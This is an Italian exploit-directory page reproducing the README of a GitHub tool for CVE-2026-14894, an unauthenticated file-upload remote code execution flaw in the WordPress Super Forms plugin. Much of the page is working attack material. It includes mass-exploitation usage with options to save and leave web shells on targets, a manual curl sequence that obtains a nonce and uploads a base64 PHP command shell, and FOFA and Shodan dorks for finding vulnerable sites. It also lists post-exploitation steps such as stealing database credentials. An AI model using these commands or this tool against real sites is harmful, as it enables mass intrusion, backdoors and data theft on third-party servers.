Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/shinthink/cve-2026-14894
RicognizioneGenerazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration TestingApprendimento e Formazione
GitHubshinthink/cve-2026-14894

CVE-2026-14894

Super Forms RCE tramite upload di file non autenticato | CVSS 9.8

1111 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

CVE-2026-14894 — RCE da Upload di File Non Autenticato in Super Forms

Fuga del Nonce → Upload datauristring → Esecuzione di Codice


Panoramica

CVE-2026-14894 è una vulnerabilità di upload arbitrario di file di gravità critica (CVSS 9.8) non autenticata nel plugin WordPress Super Forms – Drag & Drop Form Builder (di WebRehab) versioni ≤ 6.3.313.

Il gestore AJAX nopriv super_submit_form accetta upload di file tramite invii di moduli senza:

  1. Verificare che l'utente sia autenticato
  2. Validare il tipo di file o l'estensione
  3. Controllare il contenuto MIME rispetto ai magic byte

La barriera del nonce viene aggirata banalmente: un gestore AJAX nopriv separato (super_create_nonce) genera nonce validi per qualsiasi visitatore non autenticato.

Gli attaccanti caricano file PHP arbitrari tramite payload datauristring codificati in Base64 che vengono scritti direttamente in /wp-content/uploads/superforms/ con un nome file controllato dall'attaccante — con conseguente esecuzione diretta di codice.

Versioni interessate

VersioneStato
≤ 6.3.313Vulnerabile
6.3.314+Patchata

Installazioni attive: 600.000+
Scoperta da: andrea bocchetti tramite Wordfence (7 luglio 2026)


Meccanismo della vulnerabilità

Causa principale

Tre controlli di sicurezza mancanti nel gestore AJAX di upload file di Super Forms:

root@kitploit:~
// Vulnerable: nopriv AJAX — no auth, no file type validation, no MIME check
add_action('wp_ajax_nopriv_super_create_nonce', 'super_create_nonce');  // nonce for anyone
add_action('wp_ajax_nopriv_super_submit_form', 'super_submit_form');   // upload for anyone

function super_submit_form() {
    $data = json_decode(stripslashes($_POST['data']), true);
    $file = $data['sf_upload_field']['files'][0];
    $content = base64_decode($file['datauristring']);  // no MIME validation
    $name = $file['value'];                             // no filename sanitization
    fwrite(fopen($upload_path . $name, 'w'), $content); // PHP written to disk
}

Bypass del nonce

root@kitploit:~
// Anyone can get a valid nonce — no authentication required
function super_create_nonce() {
    $nonce = md5(uniqid(rand(), true));
    $_SESSION['sf_nonce'] = $nonce;
    echo $nonce;  // returned to unauthenticated attacker
}

Flusso dell'attacco

root@kitploit:~
1. POST /wp-admin/admin-ajax.php?action=super_create_nonce
   → Get valid nonce (no auth needed)

2. POST /wp-admin/admin-ajax.php?action=super_submit_form
   sf_nonce=NONCE&form_id=1&data={"sf_upload_field":{"files":[{
     "datauristring":"data:image/png;base64,PD9waHAgc3lzdGVt...",
     "value":"shell.php"}]}}
   → Shell written to /wp-content/uploads/superforms/

3. GET /wp-content/uploads/superforms/shell.php?c=id
   → RCE confirmed

Installazione

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-14894.git
cd CVE-2026-14894
pip install -r requirements.txt

Utilizzo

root@kitploit:~
# Single target
python cve_2026_14894.py -t target.com

# Mass exploit
python cve_2026_14894.py -f targets.txt

# Mass exploit + save results
python cve_2026_14894.py -f targets.txt -o shells.txt

# Leave shells on target
python cve_2026_14894.py -t target.com --no-cleanup

# Debug mode (show every request)
python cve_2026_14894.py -t target.com --debug

Argomenti

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save RCE results to file
  --threads         Concurrent workers (default: 30)
  --no-cleanup      Leave shells on target
  --debug           Show every HTTP request + stage in real-time
  -v, --verbose     Show detailed output

Prova di concetto

Singolo target

root@kitploit:~
$ python cve_2026_14894.py -t target.com --debug
root@kitploit:~
  Super Forms | CVE-2026-14894 | CVSS 9.8

  [target.com] [+] Super Forms detected v6.3.312
  [target.com] [*] Nonce obtained
  [target.com] [*] Uploading shell...
  [target.com] [!] RCE confirmed

  Host       : target.com
  SuperForms : YES v6.3.312
  Upload     : YES
  RCE        : YES
  Shell      : https://target.com/wp-content/uploads/superforms/think_abc.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 2.1s

Scansione di massa

root@kitploit:~
  Targets: 2500  |  Threads: 30

  [RCE]    target-vuln-01.com                                 2.1s  v6.3.312
  [UP]     target-patched-02.com                              1.8s  v6.3.314 (upload blocked)
  [!]      target-no-plugin-03.com                            0.5s  not installed
  [150/2500] 6%  |  SuperForms:47  Upload:18  RCE:12

  ───────────────────────────────────────────────────────
  Done | 180s | Targets:2500 Det:47 Upload:18 RCE:12

Sfruttamento manuale

Passaggio 1 — Ottenere il nonce

root@kitploit:~
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=super_create_nonce'
# Returns 96-char hex nonce

Passaggio 2 — Caricare la shell PHP

root@kitploit:~
NONCE="abc123..."
SHELL_B64=$(echo '<?php system($_GET["c"]); ?>' | base64 -w0)

curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=super_submit_form' \
  -d "sf_nonce=$NONCE" \
  -d 'form_id=1' \
  -d 'data={"sf_upload_field":{"type":"files","files":[{"datauristring":"data:image/png;base64,'$SHELL_B64'","value":"shell.php","name":"shell.php","label":"attachment"}]}}'

Passaggio 3 — Eseguire i comandi

root@kitploit:~
curl -sk 'https://target.com/wp-content/uploads/superforms/shell.php?c=id'

FOFA Dork

root@kitploit:~
body="wp-content/plugins/super-forms"

Shodan

root@kitploit:~
http.html:"super-forms"

Impatto

Uno sfruttamento riuscito produce esecuzione di codice remota come utente del server web. Da qui:

  • Estrarre wp-config.php → credenziali del database
  • Accedere a tutti i contenuti, utenti e dati dei plugin di WordPress
  • Distribuire backdoor persistenti
  • Pivot verso le reti interne

Disclaimer

SOLO PER SCOPI EDUCATIVI E DI TEST AUTORIZZATI.

Questo software è destinato a professionisti della sicurezza che conducono test di penetrazione autorizzati, organizzazioni che effettuano audit della propria infrastruttura e ricercatori che studiano lo sfruttamento delle vulnerabilità.

L'accesso non autorizzato ai sistemi informatici è illegale e può violare:

  • Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • Indonesia: UU ITE Pasal 30 & 46
  • Unione Europea: Direttiva 2013/40/UE
  • Regno Unito: Computer Misuse Act 1990

Gli autori non si assumono alcuna responsabilità per un uso improprio.


Riferimenti

RisorsaLink
Advisory Wordfence

Questo progetto non è affiliato a WebRehab o Super Forms.

Scarica lo strumento
wordfence.com
Advisory IONIXionix.io
Voce NVDCVE-2026-14894
Ricercatoreandrea bocchetti